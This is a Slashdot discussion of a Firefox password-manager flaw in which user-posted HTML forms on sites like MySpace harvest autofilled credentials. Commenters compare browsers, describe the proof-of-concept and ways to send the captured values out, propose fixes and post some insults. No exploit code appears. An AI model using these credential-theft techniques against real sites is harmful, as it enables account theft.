    There is a neat little piece of javascript at http://www.xs4all.nl/~jlpoutre/BoT/Javascript/Pass wordComposer/ that lets you just think up a master password in your head and then use this applet to automatically generate a site-specific, unique hash and fill in the password field automatically. This way you can remember the passwords easily, you never have to save them or write them down. And if one site gets compromised, that password (the hash) won't work with any other site. The drawback is that if you don't have this piece of javascript then you can't get into your sites.

  27. Obligatory disclaimer! by FaustIN · · Score: 2, Funny
    Aha!... that's why sometimes I don't remember posting bad language comments!

    Thought until now of multiple personality but mystery solved! It was just my browser!...

    PS: I shall not be held accountable for ANY of my comments...

    1. Re:Obligatory disclaimer! by 6Yankee · · Score: 1

      Ha! I won't mod you up then!

    2. Re:Obligatory disclaimer! by Anonymous Coward · · Score: 0
      PS: I shall not be held accountable for ANY of my comments...
      Any? There isn't much choice between a grand total of three, so why not just include 'all' of them? It would be almost the same statement, but would indemnify you completely.
  28. Any Password?? by er824 · · Score: 0

    After reading TFA and the bugzilla report it sounds like this bug does not allow ANY password stored in the password manager to be stolen as some people seem to be assuming. It sounds like only passwords for sites that allows user generated HTML to contain input fields are at risk.

  29. If it affects Firefox and Internet Explorer... by ewl1217 · · Score: 2, Interesting

    Does anyone know if Konqueror (using KDE Wallet) is affected? And what about other browsers, like Opera, Epiphany, and so on? I'd just like to know how common this type of exploit is.

    1. Re:If it affects Firefox and Internet Explorer... by zbuffered · · Score: 1

      The (really really bad) bug shown in the test case should work on any browser that automatically fills in U/P fields. IE does not do this, so it is not affected.

      The second test case, and the one originally reported in the bug (before we expanded it with the transparent overlaid .gif that submits the form), was a MySpace phish designed to look like login.myspace.com. IE will still fill in the U/P fields if you click on the username field and select your username from the resulting dropdown.

      If KDE Wallet automatically completes U/P fields, it will likely be suceptible.

      As has been mentioned elsewhere, this bug is limited to sites that allow user generated input type="password" fields and have a login server on the same root domain (eg myspace.com). MySpace is the only such site we've bothered to identify, but there are certain to be others.

      --
      Synergy is your friend
    2. Re:If it affects Firefox and Internet Explorer... by ecesar · · Score: 1

      Their test case won't work in Safari 2.0.4, even though Safari fills in U/P fields.

    3. Re:If it affects Firefox and Internet Explorer... by TheChromaticOrb · · Score: 1

      I tried the testcase with Konqueror (KDE 3.5.5) and it wasn't vulnerable (username/password are only autofilled on the "real form"). But don't trust me, check yourself. And I recommend to have Konqueror always ask for permission to use the wallet.

      --
      Note to self: get a sig.
    4. Re:If it affects Firefox and Internet Explorer... by Anonymous Coward · · Score: 0

      It fills both. Same Konqueror (KDE 3.5.5)... :-(

    5. Re:If it affects Firefox and Internet Explorer... by ewl1217 · · Score: 1

      Thanks for trying that. It's nice to know that my favorite browser isn't vulnerable to such trickery.

    6. Re:If it affects Firefox and Internet Explorer... by whitehatlurker · · Score: 1

      Opera 9.02 isn't vulnerable at this site either, but if this is a true PoC of the bug, it does show a major flaw in the security of Firefox. I hope to see FF 2.0.1 RSN.

      --
      .. paranoid crackpot leftover from the days of Amiga.
  30. Java ring? by CustomDesigned · · Score: 4, Interesting

    Remember the Java ring? It had a processor and stored the private key in a tamper resistant case (erases instantly when case is compromised). PC programs would ask the Java ring to sign things. A virus could get bogus signatures while it was connected, but couldn't compromise the key. Unfortunately, it used a funky "One Wire" adaptor to get power and talk to a PC. If only they would reintroduce it in a USB format!

    1. Re:Java ring? by mmontour · · Score: 1

      Unfortunately, it used a funky "One Wire" adaptor to get power and talk to a PC. If only they would reintroduce it in a USB format!

      They do sell USB adapters for iButtons - see http://www.maxim-ic.com/products/ibutton/products/ adapters.cfm. However it looks like the crypto iButton itself has been discontinued. I hope that someone does release a similar product in the future, before the battery dies in the one I am currently using.

  31. What an incredible retard you are by Anonymous Coward · · Score: 0

    IDIOT. IE6, IE7, FF1.5, FF2.0, Opera all affected. So what browser is someone like you using up their on your high fucking horse?

    1. Re:What an incredible retard you are by Anonymous Coward · · Score: 0

      IDIOT. IE6 and IE7 definitely not affected. So why are you such a retard?

  32. Many FF fans would say... by patio11 · · Score: 5, Insightful

    ... this is just because IE6/7 have poor compatibility with the rest of the world. They can't even support the exploits, anymore, honestly.

    OK, jokes aside, someone just released an exploit into the wild which *can't work on IE*. And they presumably still thought they were going to get something of value on it. Hiya, FireFox, welcome to the "visible enough to be a target" club. And it only gets worse. I hope your million bug finding eyes are bright and perky because it only gets worse and it never, ever stops.

    1. Re:Many FF fans would say... by Geoffreyerffoeg · · Score: 3, Interesting

      I don't think this is, per se, a bug. If you save a password for www.myspace.com, and there's a password field on www.myspace.com/*, the password manager should fill the field in. When they added the auto-fill feature (as opposed to, say, click a toolbar button to fill in passwords) they should've considered this.

      And thus I think the million bug-finding eyes will be considerably less bleary if there are a million exploit-writing fingers. When you have anything that turns security into convenience like this, you should say "Hm. This could be exploited by foo method, and if this exploit becomes viable - if there's some popular website that allows arbitrary HTML - we should remove this feature for our users' sake."

    2. Re:Many FF fans would say... by CastrTroy · · Score: 4, Insightful

      The password manager should only fill in the password on the actual page you have entered it on before. This is just common sense. There's many situations where you might enter different credentials at different parts of a site, or where entering your information at one page under a certain domain might actually be a bad thing. This is why I have password manager turned off on all my browsers. It's a littl more work to remember passwords, but it's a lot safer.

      --

      Anthropic principle: We see the universe the way it is because if it were different we would not be here to see it.
    3. Re:Many FF fans would say... by superpulpsicle · · Score: 1

      No, this is strictly good public relations timing. Publicizing this 1 bug right when IE7 is released is smart for M$ to regain market share. If people actually follow bug reports regularly, these bugs are common as sin. Depending on which technical angle you're looking at, you can interpret the vulnerabilities many ways. And there were FAR more password leaks in IE6.

    4. Re:Many FF fans would say... by maop · · Score: 1
      The password manager should only fill in the password on the actual page you have entered it on before. This is just common sense.

      Even if the password manager saved passwords specific to pages (rather than domain specific) the exploit can still work if the page that allows a login also allows user created content.

    5. Re:Many FF fans would say... by k33l0r · · Score: 1

      There are also times when this would not work. For example sites where the URL includes a session ID. On these sites you never fill our the login form on the "same" page every time... And, for example, Amazon.com does some pretty strange things with URLs (for example this url for 'My Account' http://www.amazon.com/gp/css/homepage.html/ref=top nav_ya_gw/103-4800391-1980660 includes the referal page).

    6. Re:Many FF fans would say... by shutdown+-p+now · · Score: 1

      It used to be that Opera's password manager, Wand, asked the user about the context in which to save the password - it could be either the specific page you were on, or the entire domain, and defaulted to the specific page. That's how it should work, IMO. They took it out in 9.0 though, and made it work the same way Firefox does - or at least I do not know how to revert it to old behaviour.

    7. Re:Many FF fans would say... by araemo · · Score: 1

      Here's another simple fix: Require the user to push a button to fill in the password. Even if it's a context button that pops up when you click in 'username' or on 'login', so that the user's passwords won't be filled in without them telling it to in each case. That's only a TINY bit more work than merely clicking login, and is MUCH more secure. I think older versions of firefox had that option, but I can't find it in 2.0. :(

    8. Re: Many FF fans would say... by Harry_Ballsak · · Score: 1

      Although I do install Firefox in every computer I get a hold of, you are correct, Firefox was secure until they got popular, now watch that bug list grow. However I'm still going to be using Firefox over IE.

      I never used the password feature on important sites like my bank and such, if I ever become a victim of that exploit, the only thing you will be getting is the login info for phpnuke.org and other misc sites!

    9. Re:Many FF fans would say... by kextyn · · Score: 1

      That is still in Opera 9. You are presented with 3 options: Save, Never, or Not Now. But if you look above Save you will see a check box that says "save for this page only." But it's not much of a problem with Opera because you have to either hit a key combination or click on the wand to tell it to fill out fields. Chances are you won't find any phishing attempts on a real login page for a site. I have even seen a phishin page on Myspace where it looked just like the real login screen and was at www.myspace.com but Opera (which was set to remember my password for the entire site) didn't highlight the fields like it would have on the real login page.

    10. Re: Many FF fans would say... by Anonymous Coward · · Score: 0

      "Firefox was secure until they got popular"??!!!

      You are secure (or not) regardless of your popularity

      Michael Geiser

  33. Yeah, but... by Anonymous Coward · · Score: 0

    ...IE 6 is such shite, you' WANT to walk away...

  34. software level bug by HAL9000_mirror · · Score: 1

    While I agree FF should alert the user, this is not a hole in FF's security architecture. Its rather a software level bug. Moral of the story: 1. don't be lazy and ask your browser to remember your password. 2. if you insist to be lazy, store passwords only for trivial web accounts.

    1. Re:software level bug by Anonymous Coward · · Score: 0

      Why do people keep saying this shit "this is not a hole in FF's security architecture". Yes it bloody well is a hole in FF security architecture, a browser should NEVER be presenting a username and password to all pages simply based on its domain name. It is an moronic design and frankly astounds me that anyone could think there is nothing wrong with it. This would only work in an internet where every domain name only ever hosted one site.

  35. My 2 cents by Inferger · · Score: 0

    I never have Firefox nor any browser for that matter keep passwords to information that might comprimise my identity. Unless identity thieves want to play sockpuppet with a forum account I don't think theres anything of interest. If people used common sense and not remember extremely important passwords like the one for your PayPal account you would never hear of this kind of problem being a problem.

  36. WARNING by tezbobobo · · Score: 3, Informative

    DEERPARK 1.5.0.4 is also vulnerable - based on firefox 1.5

  37. Great! by Philnet.HFZ · · Score: 1

    No big deal. Since I use Thunderbird to check my email, and I don't pay for anything, there's nothing worth stealing. "OH NOES! SOMEONEZ HAX0R3D MY YTMND PASSWORD! T3H W0R1D IS 3ND1NG!!!!!!111one1" Seriously, all my important passwords (such as my Slashdot password), are stored in the most important place available: my brain. I figure, "If I can't remember the password for this site, this site is obviously inferior and not worthy of my attention!"

    --
    I don't get why posts are limited to 120 characters. Seems unreasonable to me. I mean, just because I like having a real
    1. Re:Great! by LordEd · · Score: 1
      ...and I don't pay for anything...
      The police are looking for you. They'd like to discuss that car of yours.
  38. Credit card numbers are stored too. by GigsVT · · Score: 2, Informative

    If you have form autocomplete on, credit card numbers are stored in plaintext on your hard disk too. Bug's been open for .. what about 4 years now.

    They refuse to fix it, they say it's not a bug.

    I don't think it's vulnerable to this because it's not fully automatic, however, all someone has to do to get your credit card number is type the first digit and it'll fill in the rest.

    Their advice, "Don't use autocomplete".

    --
    I've had enough abrasive sigs. Kittens are cute and fuzzy.
    1. Re:Credit card numbers are stored too. by Rebel_lord · · Score: 1

      Actually to make it even easier, you could just doubleclick on the field and you get a whole list of previously entered values.

    2. Re:Credit card numbers are stored too. by Anonymous Coward · · Score: 0

      Navigate back to the page after it has been submitted, doubleclick the field to open autocomplete, then press shift-delete to delete the entry you don't want to be saved.

      Or you could get virtual account numbers from citibank and just throw them around like candy.

    3. Re:Credit card numbers are stored too. by cascadingstylesheet · · Score: 1

      >They refuse to fix it, they say it's not a bug.

      Because it's not. Unless it's a password field (which is parsable from the HTML, which is why you see asterisks instead of characters), how the heck are they supposed to know which fields you want autocompleted, and which you don't? What about your checking account number?

    4. Re:Credit card numbers are stored too. by GigsVT · · Score: 1

      Other browsers don't have any problem with it. No other browser steals your credit cards by default and stores them for a cracker to pick up later.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    5. Re:Credit card numbers are stored too. by Gunstick · · Score: 1

      a correctly implemented e-commerce site disables autocompleting on those fields.

      form name="payment" action="process.cgi" method="post" autocomplete="off"

      Easy...
      Georges

      --
      Atari rules... ermm... ruled.
  39. Agreed it should check the form action by skids · · Score: 1

    Though to be clear exactly it will only forward form input to URLs that appear in form inputs on the same site (domain, that is.) Like the article says, it will only allow say a myspace user to steal your myspace password, he won't be able to steal passwords from other domains, though he will be able to use a non-myspace site to collect the stolen information and that's the bigger portion of the problem. I don't know whether I would classify this *only* as a bug in the browser, rather also a bug in the websites for allowing users of the websites to output form HTML tags that don't reference back into the CMS.

    In any case, it should be fixed in *both* places -- a lot of wikiware probably also has the potential to allow this exploit, and should be fixed not to. In addition to fixing browsers to check the form URL before autofilling, restricting autofilling form inputs to same-page on the browser side would be a good option to have for the paranoid, but I'm betting it will break a lot of sites ("break" as in require the password to be put in a whole lot of times) that take login information in from more than one URL.

    1. Re:Agreed it should check the form action by skiflyer · · Score: 1

      Form action isn't a bad extra thing to check, but don't forget that it's not a guarantee that that's the only place the information is going. You need to trust the site requesting the information when it comes to the auto-fill out thing, end of story. Because I trust X I'm going to trust Y.X or X/~joe was just a bad design decision.... I get the point, sites like newegg and their nine different login pages depending on the vector. But, it's just not practical. Besides, the whole point of this software is that you enter it once, not you enter it nonce. At the VERY LEAST, if it's not the exact page you told to save the password there should be a popup mentioning the info was requested and would you like to provide it.

  40. didn't work for me by naph · · Score: 1

    i'm using firefox 2.0 on linux, first my popup blocker would allow the site to open when i clicked on the video like the instructions said, then when i allowed it i just got youtube.com?

    --
    "if i'd known it was harmless, i'd have killed it myself"
    1. Re:didn't work for me by Anonymous Coward · · Score: 0

      Don't be fooled. Go to the moz bug report page and read the threads for a better example. This is OS independant and works on my linux box. It's a real doozie.

  41. Come on... by Anonymous Coward · · Score: 1, Insightful

    Just remember your freaking passwords in your head, is it that hard?

    1. Re:Come on... by Jugalator · · Score: 1

      If you get to choose them all, not really, but unfortunately you don't, and they're in these cases often random.

      --
      Beware: In C++, your friends can see your privates!
    2. Re:Come on... by Safiire+Arrowny · · Score: 2, Funny

      Actually, I posted that anonymously because I couldn't remember my username.

  42. Alternatives to browser stored passwords by natet · · Score: 3, Informative

    I for one only use the browsers store password feature for the most trivial of sites. For more important sites, I use Password Safe. The program and the database fit easily on a thumb drive, and requires a master password to access. It has a user configurable time out, and a double click on an account copies the data to the clipboard for later use, allowing you to foil keyboard based sniffers.

    --
    IANAL... But I play one on /.
  43. OpenID? by SanityInAnarchy · · Score: 1

    OpenID seems to be the right approach to this. Login once (Passport-like), but to your own server -- it could be a password, a key exchange, whatever, the idea is to produce some sort of session cookie that your server can check. You can login to any other site, but through a process which doesn't give that site any kind of credentials to use on other sites, and you can restrict which sites may check your identity at all.

    I'm not sure how this would protect against this kind of vulnerability, but I am convinced it's the right approach, overall, to authentication.

    --
    Don't thank God, thank a doctor!
  44. You're lucky. by Anonymous Coward · · Score: 1, Interesting

    You're actually having a better experience than many people.

    About a year ago I helped my father-in-law switch to Firefox. He recent decided to try Firefox 2.0, but had a lot of problems with it. One was that it made his computer slow down a lot. So on the weekend when my wife and I went to visit, I took a look at his PC. Sure enough, it was terribly slow when using Firefox.

    See, he has a machine with "only" 512 MB of RAM. What did Firefox do? According to Task Manager, it was consuming 1896 MB of RAM. I remember the number exactly, as it was 100 years before my son was born. Sure enough, the machine would thrash to a terrible extent. I removed all traces of Firefox, and reinstalled it. No third-party plugins were used, yet we found the exact same problems.

    Our final solution was Opera. Unlike Firefox, he reports that it hasn't measured above 35 MB of RAM consumption.

  45. Internet Explorer 6/7, Why The Proof Was for FF by Robert+Chapin · · Score: 2, Insightful

    Here is a quick clarification about Internet Explorer 6/7.

    The attack at MySpace worked against IE users because many were lured into typing their passwords into a form. I saw this in action. It was almost indistinguishable from the legitimate version.

    The Bugzilla reference to IE 6/7 was not a comment on the info-svc proof, but the proof at
    https://bugzilla.mozilla.org/attachment.cgi?id=245 426

    That form does some interesting things in both browsers, but it does not reflect a normal client/server situation. IE's password manager behaves differently from Firefox when dealing with forms on more than one page, as in the info-svc proof.

    In my opinion, both browsers should raise a warning when a cross-site form is loaded, or have that option.

    Enjoy

    Robert Chapin
    Chapin Information Services, Inc.

    1. Re:Internet Explorer 6/7, Why The Proof Was for FF by Zonnald · · Score: 1

      I am using IE6; neither the info-svc proof nor the bugzilla proof where successful.
      Because? My fairly vanilla IE6 does not ask to save password on either page.
      Version 6.0.2800.1106.xpsp1.020828-1920
      Set to Medium security options.

  46. windows by Anonymous Coward · · Score: 0

    WINDOWS, this is a WINDOWS bug that manifests using the WINDOWS application "firefox".

    How about it? Can we admit that mozilla is a microsoft partner company yet?

    The devs working on the "anything but windows" browsers
      associated with mozilla, inc. need to FORK, then CHANGE THE NAME AS SOON AS POSSIBLE, and get away from associating with the WINDOWS product. You can't even get a tech site like slashdot to EVER notice there is a difference, so it needs to be made more clear. New name-fork-let the windows doofuses and MS apologizers go do their thing, stop supporting MS products! Just like Novell needs to be boycotted, mozilla products on windows needs to be boycotted, there's no difference.

  47. Re:Not just Firefox 2.0, also IE6/7 and earlier F' by Anonymous Coward · · Score: 0

    I use Windows Vista hahah suckers

  48. Authentication systems are overused, anyway by Anonymous Coward · · Score: 0

    The anonymous message board technology behind 2chan.net, for example, is almost five years old, and yet I've never seen more than a half-dozen English language forums take advantage of it.

  49. Seems Opera Isn't Affected... by FunWithKnives · · Score: 1

    I'm using Opera 9.02 under Linux (Kubuntu 6.10), and could not get the proof-of-concept to work with Wand (Opera's Password Management). I don't think this would be much of an issue with any browser, though, if people would just use some common sense and not store passwords for important things like online banking. While it might suck to have someone exploit this for your Slashdot account and start trolling using your UID, it would be nothing more than an inconvenience. Online banking and credit card transactions, on the other hand, would be major problems. So really, this is a non-issue if you are already a security-minded person. The question: How many normal users are security-minded? The answer is, unfortunately, rather obvious, I think.

    --
    "We may face a scorched and lifeless earth, but they're accountable to their shareholders first."
  50. Falling back on a single password is insecure? by proselyte_heretic · · Score: 1

    If you are falling back on a single password, then that password can be ridiculously secure. I use a big diceware password http://world.std.com/~reinhold/diceware.html, along with a keepass database http://keepass.sourceforge.net/ Assuming that we arent dealing with keyloggers, that is perfectly secure. ...first post

  51. All the more reason to use opera. by liftphreaker · · Score: 1

    Opera, my one true love... I shall never leave thee.

    1. Re:All the more reason to use opera. by Anonymous Coward · · Score: 0

      I suppose it ain't over till the fat lady sings?

  52. Thank God! by PHAEDRU5 · · Score: 2, Funny

    I have MS password management to control access to my Firefox password manager.

    Phew!

    --
    668: Neighbour of the Beast
  53. Password safety by Pedrito · · Score: 2, Informative

    I have two types of passwords: The ones for fluff sites, like Slashdot, Wikipedia, hotmail (a.k.a. Spam box), and so forth, which usually get 1 of 2 passwords. Then for banks and credit cards and what have you, I use real passwords with different ones for each site.

    I could care less if someone hacks my Slashdot account or my wikipedia account. The worst thing they can do is vandalize under my name. And as for hotmail, they can have my spam. And were I to have a myspace account, I could care less if someone got that too.

    Fortunately, my bank and credit card companies don't allow others to create their own pages, so I'm not too concerned. I suspect this will get fixed long before it becomes a concern for me.

  54. Re:That is Scary, No it's not by Anonymous Coward · · Score: 0

    My bank doesn't provide user created content! ...

    When will people learn to read?

  55. Hey by Ant+P. · · Score: 1

    I was poking around a few days ago trying to get a userContent.css file to use a local filesystem png file as a background, without having to resort to huge data: URIs.
    Eventually I'd thrown enough random ideas at the problem that I ended up finding out about this nightmare waiting to happen. Just for kicks I tried putting some code in the CSS to alert() all the (supposedly hidden) password values on the page. It worked.

    1. Re:Hey by higuita · · Score: 1

      did you report this to mozilla bugzilla? if not, please do so ASAP

      --
      Higuita
    2. Re:Hey by Ant+P. · · Score: 1

      ...good point. Doing it now.

  56. Re:no need to save passwords --generate em on the by TCM · · Score: 2, Interesting

    They're just using MD5, which you could reproduce on any computer. In fact, that's how I generate _all_ my passwords:

    echo "user:domain:iteration:masterpass" | binary hash | base64 | take first 16 characters

    It's a simple algorithm which you don't need to keep secret. Also, you can write down the made-up user/domain/iteration triplets. All you need to keep secure is the master password. Thanks to the iteration, you can lose a generated password without affecting the secrecy of your master password or all the other passwords.

    A simpler version would be to take the ASCII hash directly as a password. However, using a binary hash and base64-encoding it allows you to cram more entropy per character into the resulting password.

    --
    Of course it runs NetBSD. BTC: 1NT7QvbetmANwaMzhpVL6
  57. Why I'm not using FF 2.0 by British · · Score: 1

    They took out the "load images from the originating site only". That was the only safe way I could surf fark.com at work, since forum posters just LOVE to post not-work-safe images. That, and I worry about someone posting an image from a porn site, and the firewall logs would be on me.

    1. Re:Why I'm not using FF 2.0 by flyfishertx · · Score: 2, Informative

      Take a look at http://kb.mozillazine.org/Permissions.default.imag e it explains how to set the Permissions.default.image to show only images from the originating site. Personally, I wish they would have left the check box for it in preferences, but editing in about:config is nearly as fast.

    2. Re:Why I'm not using FF 2.0 by Tim+C · · Score: 3, Insightful

      but editing in about:config is nearly as fast

      Editing about:config is nearly as fast, but finding out that there is a value to edit, what it's called and what to set it to is a damn sight slower...

    3. Re:Why I'm not using FF 2.0 by macdaddy · · Score: 1

      I never have seen the point in removing a GUI config manipulation option once someone took the time to add it. If you get too many options over time then organize them and create more windows/tabs. Don't take features away; add them. But I digress.

    4. Re:Why I'm not using FF 2.0 by macdaddy · · Score: 1

      That's a pretty damn good reason not to use it. Before my HD crash I used Mozilla as my primary work browser. I used FF 1.5 as my personal web browser. I had it set up to use a proxy that was localhost:8080 which happened to be the local end of an SSH tunnel. The SSH tunnel terminated on one of my personal servers and was tied to port 3128. I ran a basic Squid proxy on that server. With this setup I could force all my personal web surfing out over the encrypted tunnel without fear about what might be lurky in these webpages (unless if was a java applet or js that somehow or for some reason didn't honor the proxy setting. I haven't taken the time to try and recreate that. One thing that I do want to do is move my web browsing into a virtual machine. I though about that long and hard and I think it will greatly help my local security.

    5. Re:Why I'm not using FF 2.0 by BenoitRen · · Score: 1

      I assume that this is the same logic used for removing the "only allow cookies from the originating site" option. The feature didn't work that well, and would give the user a false sense of security.

      As a work-around, unless you surf the web during breaks, you should work at work, like you're supposed to.

  58. My problem has never been in this area. by Allnighterking · · Score: 1

    I don't mind that the program allows me to be stupid. Big deal...... I do mind however things like drive by hacks, (via activeX) cross-site scripting (ala JavaScript) etc. But do I expect the browser to be my mommy.... NO As for the supposed FF memory leak. That isn't the one that should affect you the most.... Cerebellum Memorus Diareatalis should.

    --

    I'm sorry, I'm to tired to be witty at the moment so this message will have to do.

    1. Re:My problem has never been in this area. by Anonymous Coward · · Score: 0

      ahhh so someone leaving activex on and getting compromised with driveby installs is bad, but firefox doing drive by submits of your password to anyone as long as the domain matches is acceptable. wow there is zealotry and then there is plain fucking stupidity, guess which one you fit into.

  59. maybe not for feebs by Anonymous Coward · · Score: 0

    I have well over 100 passwords memorized. I have all my friends phone numbers memorized, too.

    How do I do it? The same way people did it before PIMs, smart phones, and password managers.

    I use them. It's called reinforcement and it works.

    But mentally lazy people don't know that, because they won't try.

  60. Go Konqueror by Anonymous Coward · · Score: 0

    I tried the test in the link provided through the article and I passed it as I was using Konqueror (3.5.5). Ahh, now I am relieved that I can not be maliciously attacked...for now!

  61. PassPet by serial_crusher · · Score: 1

    PassPet is a nifty looking extension that hasn't actually been developed. Would help with this problem, as you have to actually click a button to fill in your password.

  62. This is GREAT stuff! by Anonymous Coward · · Score: 0

    GOOD JOB, all you Open Source Programmers: I couldn't be more proud of you :)

    Thanks!

    Unsigned, for obvious reasons :)

    Truth is, there's only a few skilled programmers writing the code... and the vast majority of those that use it, are as clueless as those that use IE on Windows. They couldn't help you fix a bug, if God Himself came down, and threatened their eternal souls with damnation. Sad, but true.

    Pretty much the same for Linux in general these days, too: I'd be willing to bet that the majority of the Linux supporters here on Slashdot can't code... and, of those that can, only a very few can actually write quality OS code... and of those that can, only a VERY few actually do so, to support Linux, as a percentage of the overall Slashdot population.

    So, what does that actually SAY about the "Nerd" population here, these days?

    Fucking wannabes, I think.

    But, they can bitch about "teh RIAA, MPAA", and generate revenue for Slashdot... so, Slashdot caters to the clueless now.

  63. Actually a firefox security hole? by Vexorian · · Score: 1
    It all sounds that this is a whole bug with Javascript (again), and XSS in a trusted site, for god's sake people if someone can make a domain run whatever javascript code he wants they can just steal your cookies.

    I would love to test whether it works when firefox is using the noscript addon, but I cannot, because I don't use the password manager, it is just retarded to let your browser remember your passwords, really.

    --

    Copyright infringement is "piracy" in the same way DRM is "consumer rape"
  64. The real intent here... by saleenS281 · · Score: 1

    The Firefox teams real intent here was to keep all the geek's off myspace, or any "social networking site" for that matter. Shame on all of you for not knowing better!

    1. Re:The real intent here... by Anonymous Coward · · Score: 0

      The geek's what?
      Learn how to use the apostrophe, cretin.

  65. I couldn't get it to work... by hullabalucination · · Score: 1

    Not sure I understand what's supposed to happen. After clicking on the vid (on Chapin Information Service's demo), am I supposed to automatically go to Google? Chapin's demo exploit seems to tell me that I would be redirected to Google.com. It didn't...it went to YouTube where I was logged in under my normal user:pass. I didn't see any sign of anything in the address bar revealing my Chapin user:pass. Is the fact that I already had a YouTube account registered with Password Manager what caused the exploit to fail? Also, my popup blocker stopped Chapin's site from launching something first time through. Was this what threw a wrench in it? I tried manually going to Google.com immediately after clicking on the vid another time through (registering the same user:pass as the first time), but I just don't see anything to indicate that the exploit worked (my user:pass from the demo appears in Googe's address bar? Not that I could see.). Can someone please explain in a bit more detail what should have happened? Mozilla's exploit demo seemed to fail as well, dumping me on a "server not found" error page, but maybe that's what it's supposed to do if the exploit worked.

    Tried the second demo on Mozilla's bugtracker. My popup blocker stopped a new window from launching. Nothing else happened that I could tell.

    Appreciation expressed in advance to anyone who can enlighten me on what I should be experiencing in Firefox 2. Is this a Windows-version-only thing? I'm on Fedora Core 5.

    * * * * *

    All mankind is divided into three classes: those that are immovable, those that are movable, and those that move.
    --Benjamin Franklin

    1. Re:I couldn't get it to work... by adpsimpson · · Score: 1

      Using FF 2.0 on Ubuntu Eft (6.10), got exactly the same results as you describe.

      There is also a code-box underneath the video that looks out of place, and perhaps broken.

      Suspect the site is slashdotted.

      --
      Is crushing a suspect's child's testicles illegal?
      John Yoo: "No, [if] the President thinks he needs to do that."
  66. Yep. Just update it. by Anonymous Coward · · Score: 0
  67. NoScript Extension by Anonymous Coward · · Score: 0

    I'm surprised no one has mentioned the NoScript Extension

    No script... no exploit... works great for me...

  68. With apologies to Linus... by Anonymous Coward · · Score: 0
    It's generally just a bad idea to store passwords anywhere but your head.
    Real men upload their passwords to an FTP site somewhere and let prospective attackers guess what they're used for.
  69. I'm not affected by Anonymous Coward · · Score: 0

    Just run the proof-of-concept, and phew! I'm not affected. Then I realized that I'm using Konqueror!
    Monoculture is a bad, bad, bad thing.

  70. Oubliette by galaga79 · · Score: 1

    There are options but you do have to know where to look and most people don't. One program I use at both home and work is Oubliette (Windows only I'm afraid).

    It's very ease to use and has encryption so I can can carry all my passwords on a USB stick and know even if I lose it no one can get my passwords (unless they hack the master password).

  71. Digital signatures are here today by Per+Abrahamsen · · Score: 1

    I can get into all relevant government sites and many large private sites in Denmark with my government backed digital signature. Digital signatures are supported by the major browsers.

    The main problem is that there is a fee for the web site for using it, which means it is not useful for small or amateur sites, they still rely on passwords.

  72. It IS a bug... or at least dumb design by cbhacking · · Score: 1

    MySpace trusts its users WAYYYY too much. I think it filters out <script tags, but beyond that I make no promises. Any site that needs to warn its users that "using HTML and CSS to hide MySpace's advertisements is not permitted" is asking for it, big time. Note that at least a few profiles do hide the ads anyhow (on those occasions where I visit the site using a browser that will show ads) and some may actually circumvent the scripting restrictions, even.

    The advantage is you get to assault your visitors eyes with a combination of bad programming and bad taste... or just bad design in general (links that go to 24px and bold on MouseOver?!? Blue text on blue backgrounds? You get the idea...) You can put up flash (good for music, videos, games, and remote code execution exploits) and forms (doesn't everybody love surveys? What about a way to post comments without scrolling ALL the way to the bottom of the page? Surely you don't have an issue with default buttons that go... somewhere! I know... let's sneak a Password field on there.) I haven't been to the site in a month or two, which means it is settling blissfully into the recesses of my mind...

    --
    There's no place I could be, since I've found Serenity...
  73. myspace... by DeadboltX · · Score: 2, Informative

    It is not a bug with firefox, it is a bug with myspace.
    I doubt you will find many places other than myspace where this "bug" will be exploited. Why? Because most sites that host user generated content are responsible enough to remove the users ability to post potentially-malicious markup language on the site. These sites strip almost all (if not all) markup and only allow a small handful of decoration tags like BOLD. (Slashdot is a perfect example of allowed html markup)

    The problem is that the code on myspace is shoddy at best, and the fact that users can put any kind of html on their myspace page was an accidental result of such. Then when users figured out they could customize their page with css and other markup code they were happy, and so myspace left it in.
    Nowadays everyone is so used to myspace letting them customize their page (in a shitty hack sort of way) that if they were to take that aspect away I think myspace would die in a month (I know a lot of girls who only go on myspace so that they can upgrade their page and make it look better by customizing it) so they are not likely to ditch this "feature" of their site.

    1. Re:myspace... by Anonymous Coward · · Score: 0

      I doubt you would be saying the same thing if the article's title was "Internet Explorer Password Manager Bug Exposes Passwords."

  74. Re:Not just Firefox 2.0, also IE6/7 and earlier F' by TheNetAvenger · · Score: 2, Informative

    According to the Bugzilla link, this bug is also present in pre 2.0 releases of Firefox, and IE 6/7.


    They say it exists in IE 6/7, so they don't look like the only fool.

    So how do they explain the fact that it really 'doesn't exist' in IE 6/7, and doesn't this make them look even more foolish?

    And no I won't defend IE6 or even IE7. But keep the facts where they are; this is not an IE exploit.

  75. Re:no need to save passwords --generate em on the by caluml · · Score: 2, Informative

    history | less ?

  76. FF problems by mapkinase · · Score: 1

    Firefox started to dissappoint me. I do still belong to mustdie crowd but FF starts to irritate me.

    First, it deletes files when they are dragged into the browser window . IE won't even allow you to do the dragging.

    Second, if you are getting messages from your Yahoo groups by e-mail on your gmail account, the Yahoo ads are overlaying the text. IE does not do that.

    I can easily foresee that if this will continue I am going to consider switching to some other browser. Any recommendations?

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    1. Re:FF problems by Nicolay77 · · Score: 1

      Opera of course.

      --
      We are Turing O-Machines. The Oracle is out there.
  77. Not that bad by mapkinase · · Score: 1

    From what I have read, it takes a n00b to be fooled in that way. AFAIU, the phishing succeeds only if you send the autocompleted form. Who in the right mind would send the form that appeared from nowhere? If I do not expect a form in this place, I do not submit it.

    I suspect that many bugs like that can be easily avoided by clean behaviour.

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    1. Re:Not that bad by adpsimpson · · Score: 1

      Oh, that's ok then. So long as it's only inexperienced users being tricked. It's not like they make up any significant numbers or anything. I mean, how many people visit Myspace every day? Only a couple of dozen, right? And by the way, if you read the article, you'd realise you are wrong - the critical form elements can be hidden.

      --
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    2. Re:Not that bad by mapkinase · · Score: 1

      So what if they are hidden? Is the Submit button hidden?

      I do not care about Myspace users. Every time I hear about a security breach, first I apply it to myself, is it dangerous to me or people who I care about? If not, then it becomes much lesser priority, because I cannot really help Myspace user for anything. Isn't it that simple to imply what I just wrote?

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  78. Could Ajax make it worse? by sherriw · · Score: 1

    I was wondering, if FF or any browser auto-populates your login fields, couldn't someone use Ajax to just grab the values and send them to the server before you even hit submit?

    1. Re:Could Ajax make it worse? by Civil_Disobedient · · Score: 1

      couldn't someone use Ajax to just grab the values and send them to the server before you even hit submit

